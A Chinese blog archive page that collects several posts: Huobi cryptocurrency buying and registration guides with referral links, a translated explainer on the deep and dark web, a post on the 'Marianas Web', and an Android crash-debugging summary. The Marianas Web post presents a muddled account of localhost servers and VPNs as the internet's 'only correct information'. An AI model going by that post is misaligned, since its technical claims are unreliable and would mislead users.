网站首页 发表在 2021年04月 的所有文章

  • 炒币入门―火币网比特币怎么购买

    购买比特币也是一个很简单的事情,大家可能网上看到购买比特币需要美元也就是USDT,那么在国内我们哪来的USDT呢,其实USDT也是数字货币的一种,他并不是就代表着美元,下面小编就教大家如何去购买比特币,首先准备好一个智能手机即可。 第一步,下载交易所我们就以火币交易所为例,因为小编一直都是用火币交易所来炒币的,火币网给小编的感觉就是客服服务态度很好,而且可以说历史悠久的一家交易所,当然你可以根据自己的喜好选择自己顺手的交易所,我们下载好火币网后,点击注册然后登录,这里就跳过注册的步骤,因为这个很简单有提示会教你如何操作的。 注册火币网:https://www.huobi.li/zh-cn/topic/invited/?invite_code=rhnu5 第二,打开最下方的交易按钮,选择最上方的法币交易(法币的意思就是人民币购买,可以支付宝微信银行)选择USDT,然后在购买相应的USDT数量后选择购买。 第三,选择上图任意一家出售的商家,大家注意看,数量,也就是限额,要购买在自己的范围内的金额,比如你要买一千元的USDT,那么你就要选择限额在一千元内的。选好后点击购买。 第四,购买好了以后我们就选择返回,然后在点右下角的资产,选择法币,把刚才购买的USDT点开 第五,点开USDT后选择划转,这里说下为什么要划转,因为你只有划转到币币交易后才可以在交易所任意去买卖币。 第六,如下图,点开划转后,会有这样一个提示,法币账户划转到币币账户中,这个时候我们只需要点击下全部即可。这样就会提示划转成功。 第七,返回到主页点击交易,上方的币币交易,这个时候我们就可以购买BTC比特币了是不是很简单,其实你每一步的操作交易所都会提示你的,只是对于新手而言可能会比较绕,但是你仔细按照每一步的操作后就可以了,这样你就成功拥有可以购买比特币了。 ...

    2021-04-26 596
  • 火币网注册交易(手机端教程)

    今天这篇文章我将向大家介绍,手机端教程和PC端界面操作有点不同。 免**屏蔽敏感词**最新地址(官方认证): 扫描二维码注册: 目录: 1.如何注册火币网 2.火币网如何进行身份认证 3.如何往火币网里面充值人民币 4.如何通过火币网卖币变现(换成人民币) 1.如何注册火币网 你可以通过扫描下方二维码注册火币网,不需要科学上网: 进去后,填写相应的字段即可。 2.火币网如何进行身份认证 (点击小头像进入个人中心,按步骤认证) 如上图,点击”身份认证“入口即可进行身份认证。如果你没有认证,则一步步进行身份认证即可,按照流程操作即可。 提示:火币交易的话身份认证是必须的,因为要防止洗钱等违法行为。 3.如何往火币网里面充值人民币 火币目前不支持直接给火币官方充钱,不过如果你想买比特币等数字货币的话,可以通过法币交易在第三方商家那里购买比特币等。如下图操作即可: (图,先点交易然后点法币) (选我要买,可以买UDST/比特币/等) 这种法币交易的基本流程就是: 1)你发起提交一个订单 2)火币官方将商户的对应币锁定 3)你私下通过支付宝、微信或者银行卡给第三方商户转款 4)对方收到款后放币给你,于是你就收到了币了。 如果对方收到款不放币怎么办?没关系,因为商户的币都被锁定了,如果他不放币,会被强制放币并且会被判断为违约,对他影响不好,所以一般都会很快放币的。 4.如何通过火币网卖币变现(换成人民币) 卖币变现是通过法币交易完成的。 点交易,然后选法币,就可以卖出币。 1)先点法币账户,如上图 2)在法币资产列表中,找到你想要卖出变现的币种。(如果没有,你则需要通过币币交易将你的数字货币交易兑换成支持的法币资产) 3)你的币通过充值的形式或者资金划转(即从其他账户划转到法币账户)的形式划转到法币资产账户里面 4)点击上方的法币交易,然后下面点”普通交易“,选出售。后面按照流程一步步来即可。 ...

    2021-04-26 1045
  • 暗网和深网全解析

    什么是深层网络?  诸如Google,Bing和Yahoo之类的搜索引擎由于链接而能够搜索和索引网站。他们使用链接根据相关性,入站链接和关键字对搜索结果进行排名。常规浏览器会搜索所谓的“表面网络”,但搜索会在那里停止。 例如,如果您想搜索公共图书馆目录以查找书籍,则无法在浏览器的搜索栏中输入标题,并期望Google为您的图书馆返回有意义的结果。该级别的信息将位于深层网络中。 搜索引擎无法将这些数据返回给您的原因是因为没有链接。(搜索引擎通过访问一个网页,然后访问该页面上的链接,然后访问后续页面上的链接来爬网。) 取而代之的是,您必须转到公共图书馆的网站,并使用网站内的搜索栏在图书馆的服务器上查找此数据。 这种信息遍布整个互联网。几乎每次您在网站上进行内部搜索时,您都在访问深层的Web内容。 深度网络上有什么? 深度网络包含搜索引擎看不到的内容。以下是深层网络中的一些示例: 您的个人电子邮件帐户的内容 您的社交媒体帐户的内容 您的网上银行帐户的内容 公司存储在其私有数据库中的数据 科学和学术数据库中包含的内容 病历 合法文件 深层网络中存在的许多内容都包含您可能不希望在网络搜索中出现的信息(例如您的支票帐户信息),因为这些信息是私有的并且可能会被滥用。 经验法则:如果必须通过提供用户名,密码或其他某种身份验证来登录您的帐户之一,则访问的信息位于深层网络中。这是好事,深入的网络可以帮助保护您的个人信息和隐私。 深网安全吗? 深网是一个非常安全的地方。黑暗的网站通常与非法活动有关,但并非全部。以后再说。 在深度网络上访问内容相对安全。想一想。您可能会在线上检查电子邮件和信用卡对帐单,而不必担心。但这并不意味着访问该个人信息没有任何风险。 例如,您在深层网络上的帐户包含了许多犯罪分子可能会珍视的个人信息。这就是为什么在您的所有帐户上都使用强而独特的密码的原因之一。这可能包括字母,数字和符号的难以猜测的组合。 另一个潜在的风险。您可能在不受保护的公共Wi-Fi网络上通过深层网络访问您的个人信息。例如,您可能想在等待在机场乘飞机时支付账单。 但是不要在公共网络上这样做。相反,请使用虚拟专用网络(通常称为VPN),该网络可以加密您的数据并帮助保护您的在线隐私。 另一种风险。您也可能会收到一封来自信誉良好的电子邮件。例如,它看起来像是来自IRS的机构,该机构将您的个人信息保存在深层网络中。该电子邮件可能会要求您提供您的社会安全号码以访问您的帐户,或单击链接以响应信息请求。 不要这样 美国国税局(IRS)绝不会通过电子邮件要求您提供信息。这意味着有人可能会向您发送电子邮件,以诱骗您提供有价值的信息。这通常称为“网络钓鱼”。 什么是暗网? 暗网是一个不同的故事-如果您在报纸上阅读或在电视上看到一个故事,那么您可能会以为暗网是您想的。但是请记住,深网和暗网是两个截然不同的事物。 尽管这两个术语可以互换使用,但其中一个(深网)包含大部分无害的数据和数字化记录。另一个是暗网,这引起了全世界对犯罪活动的关注。 常规浏览器无法访问黑暗的网站。相反,暗网使用所谓的“洋葱路由器”隐藏服务协议。从“洋葱路由器”派生的“ Tor”服务器在搜索引擎中是无法检测到的,并为用户提供了在浏览网页时的完全匿名性。同时,由于该协议提供了特殊的加密功能,暗网网站的发布者也成为匿名用户。 当您访问暗网时,您无需浏览与之定期交互的互连服务器。取而代之的是,所有内容都保留在Tor网络内部,从而为所有人平均提供安全性和私密性。 值得注意的是:黑暗网站的地址以.onion结尾,而不是表面网站的.com,.org或.gov。 暗网上有什么? 暗网的匿名性很高。它承载无害的活动和内容,以及犯罪活动。 例如,一个黑暗的网站可能会提供复杂的谜语。另一个可能是使读书电子书看起来更专业的读书俱乐部。还有一个论坛可能为那些认为言论自由受到威胁的人们提供了一个论坛。 但是暗网以黑暗内容而闻名,这意味着非法内容,有时甚至是令人不安的内容。例如,这是您可以在暗网上找到的一些非法物品的示例。 信息被盗。发生数据泄露时,从社会安全号到银行卡号的访问信息有可能最终在暗网上出售。您还可以购买登录凭证,被黑的Netflix帐户等内容。 非法物质。非法药物和处方药在黑暗的网上兜售。您可能还会发现有毒的化学物质,可能会导致其他类型的损坏。 令人不安的危险物品和服务。它很快就会变得丑陋。可以在黑暗的网上找到诸如血腥,雇佣凶手,人口贩卖,儿童色情制品,身体部位,假冒商品和待**屏蔽敏感词**之类的东西。 简而言之,您可以购买几乎所有可以想象的东西,包括您可能想不到的东西会好。 什么使在暗网上开展业务成为可能?金融交易使用比特币,这是有助于确保买卖双方匿名的加密货币。 暗网安全吗? 暗网在某些情况下(例如合法内容)可能是安全的,但在其他情况下则不安全。这里是一些要考虑的安全问题。 犯罪要素。您有机会找到由罪犯经营的网站。除了销售非法商品和服务之外,他们还可能试图剥削您并从您那里窃取。 违反法律。您可能会因为在暗网上所做的事情而受到起诉。以适当且合法的方式行事很重要。 可疑链接。如果单击任何链接,您可能会被带到您可能不想看到的材料。单击链接或下载文件也有可能使您的设备感染恶意软件。 执法部门。执法人员在暗网上进行操作,以抓捕从事犯罪活动的人。与暗网中的其他人一样,执法人员可以在匿名的隐身下进行工作。如果您决定冒险访问黑暗的网站,那么对访问的网站保持选择性是明智的。 使用Tor浏览器访问暗网暗网安全吗? 进入暗网实际上比您想象的要容易得多。您所要做的就是下载浏览器,例如Tor浏览器。在设备上安装浏览器后,它的功能就像常规浏览器一样:输入URL,然后关闭。 但是,在暗网查找所需的资料比使用类似Google的搜索引擎要困难得多。暗网没有索引或排名系统可以帮助您找到所需的信息。有诸如暗网搜索引擎之类的东西。一种称为“未经审查的隐藏Wiki”为暗网中的内容提供了一些指导,但其中可能包括非法网站。 如何安全地浏览深层网络和暗网 如果您浏览深层网络(即使只是为了检查牙科账单),则最好为设备配备可信任的安全软件并保持最新状态。我们已经讨论过在公共网络上使用VPN。 以下是一些提示和工具,可帮助您在使用Tor和其他浏览器时保持安全。还有很多要考虑的问题,但这应该使您对要考虑的一些问题(好与坏)有所了解。 Tor以提供在线匿名性而闻名,因此可以有效地与家人共享敏感信息或举报腐败或滥用行为。 保持Tor和Tor应用程序更新。确保设备的操作系统也是最新的。 使用Tor时,请勿在网站上使用常规电子邮件。尽管Tor的设计考虑了匿名性,但提供常规电子邮件地址可能会泄露您的身份。 浏览暗网和在线安全 非法活动的存在令人质疑某些暗网居民的“特征”。因此,重要的是要小心保护您的个人信息和身份。 在暗网上闲逛是有些人陷入困境的地方。与包含重要和有用信息的深层网络不同,深层网络充斥着非法和不合情理的活动。 由于Tor服务器使用户和发布者完全匿名,因此无法调节或控制暗网内部提供的内容,产品和服务。此外,由于所有付款都是使用比特币(一种独立于中央银行运作的数字货币)进行的,因此无法追踪通信或在责任方上保持财务状况。 另一方面,暗网上的出版物认为这是获得并维持真正自由新闻的唯一途径。 在暗网迷路之前,请务必对暗网的危险进行自我教育。确保在计算机和设备上安装并运行强大的安全软件,以帮助确保数据的私密性和安全性。 要了解有关深暗网的工作方式的更多信息,请查看纪录片“互联网上最危险的小镇–第2集:隐藏网络犯罪的地方”。 通常,不要低估暗网的最暗面。这里有几件事要牢记。浏览暗网可能很危险 暗网上有些人和事要避免。这里有几个: 病毒。一些网站可能会用病毒感染您的设备,并且有许多不同类型的病毒需要提防。请记住,切勿从您不信任的网站下载任何内容。 骇客。您可以在暗网上找到黑客论坛。您可以雇用计算机黑客从事非法活动。毫不奇怪,这些人中的许多人都愿意入侵您的设备。 网络摄像头劫持。暗网上的网站可能会尝试将远程管理工具(也称为“ RAT”)安装到您的设备上。这可能会导致某人劫持您的网络摄像头-本质上是让他们通过设备的摄像头看到您要做什么。如果您不使用网络摄影机,请用纸或胶带盖住网络摄影机是一种明智的做法。 深色网页内容可能是非法的,每当您在非法毒品,非法内容和其他肮脏的在线活动中时,都有可能陷入法律纠纷。错误的击键或简单的好奇心可能不是可靠的防御措施。这是两个可能引起法律关注的深色网络内容和活动的示例。 分享儿童色情内容的图片和视频。在一次FBI逮捕中,肇事者在一个网站上交易了超过100,000个注册用户的资料。联邦调查局打败了他。 购买非法商品或服务。如果您购买非法毒品或雇用杀手,您可能会因犯下非法行为而被捕。但是,浏览提供这两种内容的网站并非违法。 在暗网上做与不做 执法人员有兴趣阻止黑网上的非法活动。当他们这样做时,会有法律后果。以下是一些值得注意的案例,其中执法部门逮捕了在黑网上做生意的罪犯。 丝绸之路 这个在线黑市出售非法毒品。它于2011年推出。总收入估计为12亿美元。创始人Ross Ulbricht被定罪并判处无期徒刑。 AlphaBay 这是2014年启动的另一个在线黑市。据估计,其发展规模是丝绸之路的10倍。商品范围从毒品到违规数据。据称创始人亚历山大·卡兹(Alexandre Cazes)被捕。几天后,他被发现死于泰国监狱牢房,显然是自杀身亡。 汉莎 在AlphaBay被关闭并且供应商转移到该平台之后,这个在线黑市扩大了。但是荷兰警方已经渗透到市场,并查获了与其运作有关的信息。警方于2017年关闭了Hansa。 为什么存在深网和暗网? 深网和暗网都提供一定程度的隐私和匿名性。 深网有助于保护您可能希望保持私密性的个人信息。但是,如果您访问自己的银行帐户,则它并不完全是私人的。银行知道您已经访问了您的帐户。暗网基于完全匿名的原理运行。您在那做的事就是您的事。在采取某些预防措施的情况下,您无法在那里追踪或跟踪您所做的事情。对于某些人来说,隐私是Internet上的一大关注点。 言论自由也是一个问题,有些人会根据《第一修正案》主张隐私和匿名性。这就是守法公民可能会重视Tor和其他深色网络浏览器的隐私的原因之一。匿名会产生积极的影响-就像能够表达不受欢迎但不是违法的观点。暗网有助于使类似的事情成为可能。 编者注:我的文章为您提供教育信息。可能无法涵盖或防止我们所写的每种类型的犯罪,欺诈或威胁。我的目标是提高人们对网络安全的认识。请在注册或设置过程中查看完整的条款。请记住,没有人可以防止所有身份盗用或网络犯罪。 加入交流群了解更多! ...

    2021-04-21 687
  • 传说的马网,技术上进行解释

    今天,在这方面;我将解释了所谓的“ Marianas Web”结构的真正含义,该结构在网上有很多传说和废话,本文有些专业术语,不明白的自行百度。 现在我们继续讨论该主题。通过对这个问题进行了总共4个月的研究,我得出正确的结果。首先在互联网上有太多的错误信息。但我确信你正在阅读的这篇文章是网上唯一正确的信息。 实际上,没有像MarianasWeb这样的东西。但是人们在秘密网络上使用的通用名称是MarianasWeb。这就是为什么在本文中将其称为MarianasWeb。 本文总共包括5个部分: •Marianas Web如何工作?从技术上讲,其逻辑是什么?如何以这种方式构建结构? •如何访问MarianasWeb? •哪些流行的秘密网络是真实的? •互联网上的谎言,传说和误解。 •隐藏网络中有什么? 1- Marianas网络如何工作?从技术上讲,其逻辑是什么?如何以这种方式构建结构? 称为MarianasWeb的结构实际上只是一个简单的LocalHost。来自外部连接无法访问。仅本地连接可以访问。但是,如果我们将外部连接转换为本地连接,则外部连接也可以提供访问权限。我将解释如何建立这样的连接,现在你将更好地理解它。 首先,你需要购买VPS服务器。你可以在自己的计算机上执行此操作,但是最好使用VPS服务器使其始终保持打开状态。 你需要安装一个Apache LocalHost。你的链接将为“ http:// localhost”,当你第一次安装它时。但是我们可以改变这一点。我们可以做任何我们想做的事。例如,我们可以使用“ .rdos”之类的链接来命名。没关系。为此,你可以通过在互联网上进行搜索(例如“如何创建自己的Apache LocalHost链接”)来学习如何更改它。因此,由于连接是本地连接,因此我们不必设置DNS服务器并更改域扩展名。 这样,我们创建了一个服务器。假设我们的LocalHost连接为“ http://3vn2odzn.l0xy”。目前,只有我们可以访问它。没人可以通过键入此内容来访问其浏览器。现在是时候让人们进行秘密访问了。 为此,我们需要连接一个我们要授予访问服务器权限的人员。我们可以使用VPN或节点来做到这一点。你可以通过在Internet上进行搜索(例如“如何制作/构建自己的VPN”)来了解它是如何完成的。 将我们的服务器变成VPN之后,我们要做的只是;与我们要授予访问权限的人共享链接文件或链接地址。我们以这种方式授予访问权限的人将可以通过在浏览器中键入“ https://3vn2odzn.l0xy ”来访问我们的网站。如果你具有软件知识,则可以通过创建私有和加密的访问程序将隐私提高到更高的水平。 2-如何访问MarianasWeb? 正如我在上一个主题中提到的那样,除非服务器所有者为你提供任何访问配置,否则就无法获得访问权限。另外,假设你具有访问权限,则你无权访问收到的链接上的所有链接。因为任何人都可以放置他们想要的链接地址。并且可能在不同的服务器上设置了相同的地址。 3-哪个流行的秘密网络是真实的? 正如我在第一个标题中提到的那样;任何人都可以建立他们想要的连接。因此,无法指定链接地址并说该地址是真实的或该地址不正确。 4-互联网上的谎言,传说和误解。 理论上没有完全证明的一切都是错误的。确保互联网上唯一正确的信息是你现在正在阅读的文章 5-隐藏网络中有什么? 这个问题就像问“互联网上有什么?”  因此,我将给出一个一般性的答案。到目前为止,我只进入过一个网络。有旧文件和一些文章。无需认真对待。但是,也可以通过此类网络分发需要保密的研究。因此,如果你真的想看到很棒的事物,则需要访问一个可靠的专用网络。 加入交流群了解更多! ...

    2021-04-21 680
  • Android实际开发bug大总结

    目录介绍 1.1 java.lang.UnsatisfiedLinkError找不到so库异常 1.2 java.lang.IllegalStateException非法状态异常 1.3 android.content.res.Resources$NotFoundException 1.4 java.lang.IllegalArgumentException参数不匹配异常 1.5 IllegalStateException:Can't compress a recycled bitmap 1.6 java.lang.NullPointerException空指针异常 1.7 android.view.WindowManager$BadTokenException异常 1.8 java.lang.ClassCastException类转化异常 1.9 Toast运行在子线程问题,handler问题 2.1 java.lang.ClassNotFoundException类找不到异常 2.2 java.util.concurrent.TimeoutException连接超时崩溃 2.3 java.lang.NumberFormatException格式转化错误 2.4 java.lang.IllegalStateException: Fragment not attached to Activity 2.5 ArrayIndexOutOfBoundsException 角标越界异常 2.6 IllegalAccessException 方法中构造方法权限异常 2.7 android.view.WindowManager$BadTokenException,dialog弹窗异常 2.8 java.lang.NoClassDefFoundError 找不到类异常 2.9 Android出现:Your project path contains non-ASCII characters. 3.1 OnErrorNotImplementedException【 Can't create handler inside thread that has not called Looper.prepare()】 3.2 adb.exe,start-server' failed -- run manually if necessary 3.3 java.lang.IllegalStateException: ExpectedBEGIN_OBJECT but was STRING at line 1 column 1 path $ 3.4 android.content.ActivityNotFoundException: No Activity found to handle Intent 3.5 Package manager has died导致崩溃 3.6 IllegalArgumentException View添加窗口错误 3.7 IllegalStateException: Not allowed to start service Intent异常崩溃 3.8 java.lang.IllegalStateException:Can not perform this action after onSaveInstanceState 3.9 在Fragment中通过getActivity找不到上下文,报null导致空指针异常 4.1 IllegalArgumentException导致崩溃【url地址传入非法参数,转义字符】 4.2 ClassNotFoundException: Didn't find class "*****" on path: /data/app/**错误 4.3 NoClassDefFoundError异常【该异常表示找不到类定义】 4.4 公司之前项目使用客服udesk,sdk更新后初始化导致崩溃问题 4.5 java.util.concurrent.ExecutionException: com.android.tools.aapt2.Aapt2Exception 4.6 java.util.concurrent.ExecutionException: com.android.ide.common.process.ProcessException 4.7 00768556 /vendor/lib/libllvm-glnext.so [armeabi-v8]无法加载so库导致崩溃 4.8 Only the src thread that created a view hierarchy can touch its views 4.9 NoSuchMethodException  android.support.v4.app.Fragment$InstantiationException 详解 1.1 java.lang.UnsatisfiedLinkError A.详细崩溃日志信息 # main(1) java.lang.UnsatisfiedLinkError dalvik.system.PathClassLoader[DexPathList[[zip file "/data/app/com.paidian.hwmc-1/base.apk", dex file "/data/app/com.paidian.hwmc-1/base.apk"],nativeLibraryDirectories=[/data/app/com.paidian.hwmc-1/lib/arm64, /data/app/com.paidian.hwmc-1/base.apk!/lib/arm64-v8a, /vendor/lib64, /system/lib64]]] couldn't find "libijkffmpeg.so" B.查看崩溃类信息这个异常类的大意是:如果Java虚拟机找不到声明为本机的方法的适当本机语言定义,则引发。 public class UnsatisfiedLinkError extends LinkageError { private static final long serialVersionUID = -4019343241616879428L; public UnsatisfiedLinkError() { super(); } public UnsatisfiedLinkError(String s) { super(s); } } C.项目中异常分析 根据实际项目可知,当准备播放视频时,找不到libijkffmpeg.so这个库,导致直接崩溃。 D.引发崩溃日志的流程分析F.解决办法 1.建议检查so在安装的过程中是否丢失,没有放入指定的目录下; 2.调用loadLibrary时检查是否调用了正确的so文件名,并对其进行捕获,进行相应的处理,防止程序发生崩溃; 3.检查下so的架构是否跟设备架构一至(如在64-bit架构下调用32-bit的so)。 报这个错误通常是so库加载失败,或者找不到准备执行的JNI方法: 代码展示 ndk { //根据需要 自行选择添加的对应cpu类型的.so库。 //abiFilters 'armeabi', 'armeabi-v7a', 'arm64-v8a', 'x86', 'mips' abiFilters 'armeabi-v7a' } dependencies { compile fileTree(dir: 'libs', include: ['*.jar']) //这两个是必须要加的,其它的可供选择 compile 'tv.danmaku.ijk.media:ijkplayer-java:0.8.4' compile 'tv.danmaku.ijk.media:ijkplayer-armv7a:0.8.4' //其他库文件 //compile 'tv.danmaku.ijk.media:ijkplayer-armv5:0.8.8' //compile 'tv.danmaku.ijk.media:ijkplayer-arm64:0.8.8' //compile 'tv.danmaku.ijk.media:ijkplayer-x86:0.8.8' //compile 'tv.danmaku.ijk.media:ijkplayer-x86_64:0.8.8' } G.知识延申 Android 应用开发者应该对 UnsatisfiedLinkError 这种类型的错误比较熟悉了,这个问题一直困扰着广大的开发者,那么有没有想过有可能你什么都没做错,也会出现这个问题呢? 我们在 Android 应用开发测试过程中曾经碰到过这样的案例,apk 在某机型上安装完成之后运行即崩溃,报错 UnsatisfiedLinkError。 java.lang.UnsatisfiedLinkError: Couldn’t load mobsec from loader dalvik.system.PathClassLoader.....findLibrary returned null 首先怀疑是在 apk 中相应的 libs\abi 目录下没有放置 libmobsec.so,然而检查发现这个 so 在所有的 libs\abi 下都有放置过,继续排查; 然后的想法是放置的 so 不是对应 abi 的,比如由于粗心在 armeabi 目录下放置了 x86 指令集的 so,导致在 armeabi 指令集手机上加载出错,这个也被排除掉; 就在没有头绪的时候,想到 System.loadLibrary 函数加载 so 时,系统是从指定的路径下加载的,那么这个路径下 so 是否存在呢? 我们知道应用的私有 Native library 目录 /data/data/packagename/lib 是一个符号链接,链接到 /data/app-lib/ 目录,System.loadLibrary 是到这个目录去尝试加载 so 的。 adb shell 到这个路径下,使用命令 ls 查看,果然这个 libmobsec.so 是不存在的。那么是什么原因导致的呢? 分析 Android 系统源码的实现,发现 /data/app-lib/ 这个目录下的 so ,是在系统安装 apk 时从 apk 的 lib 目录下去抽取的。 1.2 java.lang.IllegalStateException非法状态异常 A.详细崩溃日志信息 onSaveInstanceState方法是在该Activity即将被销毁前调用,来保存Activity数据的,如果在保存玩状态后 再给它添加Fragment就会出错。 IllegalStateException: Can not perform this action after onSaveInstanceState: B.查看崩溃类信息 在非法或不适当的时间调用方法的信号。换句话说,Java环境或Java应用程序没有处于请求操作的适当状态。 public class IllegalStateException extends RuntimeException { public IllegalStateException() { super(); } public IllegalStateException(String s) { super(s); } public IllegalStateException(String message, Throwable cause) { super(message, cause); } public IllegalStateException(Throwable cause) { super(cause); } static final long serialVersionUID = -1848914673093119416L; } C.项目中异常分析 分析 D.引发崩溃日志的流程分析F.解决办法 解决办法就是把commit()方法替换成 commitAllowingStateLoss() G.其他延申 错误类型大致为以下几种: java.lang.IllegalStateException:Can't change tag of fragment d{e183845 #0 d{e183845}}: was d{e183845} now d{e183845 #0 d{e183845}} java.lang.IllegalStateException:Expected BEGIN_ARRAY but was BEGIN_OBJECT at line 1 column 37 path $.data 第一种:我在显示fragment的代码中使用了:fragment.show(getSupportFragmentManager, fragment.toString());而这里是因为两次toString()结果不同,导致不同的tag指向的是同一个fragment。获取fragment的tag的正确方法应该是使用其提供的fragment.getTag()方法。 第二种:该异常是由于服务器错误返回的JSON字符串和服务器正常下时返回的JSON字符串结构不同,导致利用Gson解析的时候报了一个异常:本该去解析集合却强制去解析对象所致.解决办法:在使用Gson解析JSON时try cash一下,不报错按照正常逻辑继续解析,报异常则处理为请求失败逻辑即可. 1.3 android.content.res.Resources$NotFoundException A.详细崩溃日志信息 Android资源不是可绘制的(颜色或路径) Resource is not a Drawable (color or path): TypedValue{t=0x2/d=0x7f040151 a=2} android.view.LayoutInflater.createView(LayoutInflater.java:620) B.查看崩溃类信息 当找不到请求的资源时,资源API将引发此异常。 public static class NotFoundException extends RuntimeException { public NotFoundException() { } public NotFoundException(String name) { super(name); } public NotFoundException(String name, Exception cause) { super(name, cause); } } C.项目中异常分析 由于将图片资源拷贝到了drawable-land-xhdpi目录下,本来应该拷贝到drawable-xhdpi目录下。 D.引发崩溃日志的流程分析F.解决办法 1.引用的资源ID 是否能匹配到R.java文件中定义的资源; 2.是否因为缓存等原因导致编译APK时未把资源文件打包进去,可以把APK反编译检查下; 3.是否使用了一个错误的类型来引用了某个资源或者配置资源时存在错误; 4.是否将Int等整型变量作为了参数传给了View.setText调用,这种情况下该整型变量将被认为是一个资源ID号去资源列表中查找对应的资源,导致找不到对应资源错误;解决方法是做类型转换View.setText(String.valueOf(Int id))。 1.4 java.lang.IllegalArgumentException参数不匹配异常 A.详细崩溃日志信息 B.查看崩溃类信息 参数不匹配异常,通常由于传递了不正确的参数导致。 public class IllegalArgumentException extends RuntimeException { public IllegalArgumentException() { super(); } public IllegalArgumentException(String s) { super(s); } public IllegalArgumentException(String message, Throwable cause) { super(message, cause); } public IllegalArgumentException(Throwable cause) { super(cause); } private static final long serialVersionUID = -5365630128856068164L; } C.项目中异常分析 D.引发崩溃日志的流程分析 F.解决办法 G.常见的出现场景 Activity、Service状态异常; 非法URL; UI线程操作。 Fragment中嵌套了子Fragment,Fragment被销毁,而内部Fragment未被销毁,所以导致再次加载时重复,在onDestroyView() 中将内部Fragment销毁即可 在请求网络的回调中使用了glide.into(view),view已经被销毁会导致该错误 1.5 IllegalStateException:Can't compress a recycled bitmap A.详细崩溃日志信息 无法压缩回收位图 Can't compress a recycled bitmap com.paidian.hwmc.utils.i.a(FileUtils.java:75) B.查看崩溃类信息 如果位图已被回收,则希望抛出异常的方法将调用此值。知道了崩溃的具体位置,就该分析具体的原因呢! public boolean compress(CompressFormat format, int quality, OutputStream stream) { checkRecycled("Can't compress a recycled bitmap"); //省略代码 return result; } //如果位图已被回收,则希望抛出异常的方法将调用此值。 private void checkRecycled(String errorMessage) { if (mRecycled) { throw new IllegalStateException(errorMessage); } } C.项目中异常分析 使用了已经被释放过内存的对象。对于Bitmap:Bitmap  bitmap=一个bitmap对象。使用过程中调用bitmap.recycle(),之后再使用bitmap就会报错。 D.引发崩溃日志的流程分析 bitmap.recycle()解释如下所示,释放与此位图关联的本机对象,并清除对像素数据的引用。这将不会同步释放像素数据;它只允许在没有其他引用的情况下对其进行垃圾收集。位图被标记为“死”,这意味着如果调用getPixels()或setPixels(),它将抛出异常,而不会绘制任何内容。此操作不能反转,因此只有在确定没有进一步使用位图的情况下才应调用该操作。这是一个高级调用,通常不需要调用,因为当没有对此位图的引用时,普通GC进程将释放此内存。 Free the native object associated with this bitmap, and clear the reference to the pixel data F.解决办法 第一种:在使用bitmap前增加判断,if (mBitmap.isRecycled()) return null; 1.6 java.lang.NullPointerException空指针异常 A.详细崩溃日志信息 Please call the AutoSizeConfig#init() first com.paidian.hwmc.base.BaseApplication.initAutoSizeConfig(BaseApplication.java:386) B.查看崩溃类信息 空指针异常,也是十分常见的一个异常 public class NullPointerException extends RuntimeException { private static final long serialVersionUID = 5162710183389028792L; public NullPointerException() { super(); } public NullPointerException(String s) { super(s); } } C.项目中异常分析 空指针发生场景较多,是指某一个对象报null,这个使用去使用它的话就i会报该异常。 D.引发崩溃日志的流程分析 查看Log信息看第一行导致空指针发生的代码,直接双击打开报空指针的类 查看该行代码中有几处调用了方法,则有几个对象可能是空的,找出哪个对象是空的 查看这些对方在哪里赋值了 如果没赋值,则给她赋值,问题解决 如果有地方赋值了,则看这个方法有没有被调用(Ctrl + Shift + G) 如果没有调用(可能没调用或可能调用时机太晚),在使用她前先调用赋值,问题解决 如果有调用,则看是不是有其它地方又给她赋值为null了,如果没有设置为null,则要看赋值的变量和我们使用时的变量是否是同一个变量。 导致出现空指针的原因:必须满足两个条件才会发生空指针:引用变量指向了空,并且调用了这个引用的方法 空指针问题解决思路: F.解决办法 1.方法形参要判空后才使用; 2.全局变量容易被系统回收或者更改,使用全局变量前建议判空; 3.第三方接口的调用,对返回值进行判空。 4.请注意线程安全 空指针最为常见,也最容易规避,使用的时候一定要进行null check,采取不信任原则: 1.7 android.view.WindowManager$BadTokenException异常,Toast报错Unable to add window A.详细崩溃日志信息 报错日志,是不是有点眼熟呀? android.view.WindowManager$BadTokenException Unable to add window -- token android.os.BinderProxy@7f652b2 is not valid; is your activity running? B.查看崩溃类信息 查询报错日志是从哪里来的 C.项目中异常分析 D.引发崩溃日志的流程分析 这个异常发生在Toast显示的时候,原因是因为token失效。通常情况下,一般是不会出现这种异常。但是由于在某些情况下, Android进程某个UI线程的某个消息阻塞。导致 TN 的 show 方法 post 出来 0 (显示) 消息位于该消息之后,迟迟没有执行。这时候,NotificationManager 的超时检测结束,删除了 WMS 服务中的 token 记录。删除 token 发生在 Android 进程 show 方法之前。这就导致了上面的异常。 测试代码。模拟一下异常的发生场景,其实很容易,只需要这样做就可以出现上面这个问题 Toast.makeText(this,"潇湘剑雨-yc",Toast.LENGTH_SHORT).show(); try { Thread.sleep(20000); } catch (InterruptedException e) { e.printStackTrace(); } F.解决办法 按照源码分析,异常是发生在下一个UI线程消息中,因此在上一个ui线程消息中加入try-catch是没有意义的。而且用到吐司地方这么多,这样做也不方便啦! 目前见过好几种,思考一下那种比较好…… 第一种,既然是报is your activity running,那可以不可以在吐司之前先判断一下activity是否running呢? 第二种,抛出异常增加try-catch,代码如下所示,最后仍然无法解决问题 第三种,那就是自定义类似吐司Toast的view控件。个人建议除非要求非常高,不然不要这样做。毕竟发生这种异常还是比较少见的 G.哪些情况会发生该问题? UI 线程执行了一条非常耗时的操作,比如加载图片等等,就类似上面用 sleep 模拟情况 进程退后台或者息屏了,系统为了减少电量或者某种原因,分配给进程的cpu时间减少,导致进程内的指令并不能被及时执行,这样一样会导致进程看起来”卡顿”的现象 当TN抛出消息的时候,前面有大量的 UI 线程消息等待执行,而每个 UI 线程消息虽然并不卡顿,但是总和如果超过了 NotificationManager 的超时时间,还是会出现问题 1.8 java.lang.ClassCastException类转化异常 A.详细崩溃日志信息 android.widget.FrameLayout cannot be cast to android.widget.RelativeLayout com.paidian.hwmc.goods.activity.GoodsDetailsActivity.initView(GoodsDetailsActivity.java:712) B.查看崩溃类信息 抛出以指示代码试图将对象强制转换为它不是实例的子类。 public class ClassCastException extends RuntimeException { private static final long serialVersionUID = -9223365651070458532L; public ClassCastException() { super(); } public ClassCastException(String s) { super(s); } } C.项目中异常分析 该异常表示类型转换异常,通常是因为一个类对象转换为其他不兼容类对象抛出的异常,检查你要转换的类对象类型。 D.引发崩溃日志的流程分析 F.解决办法 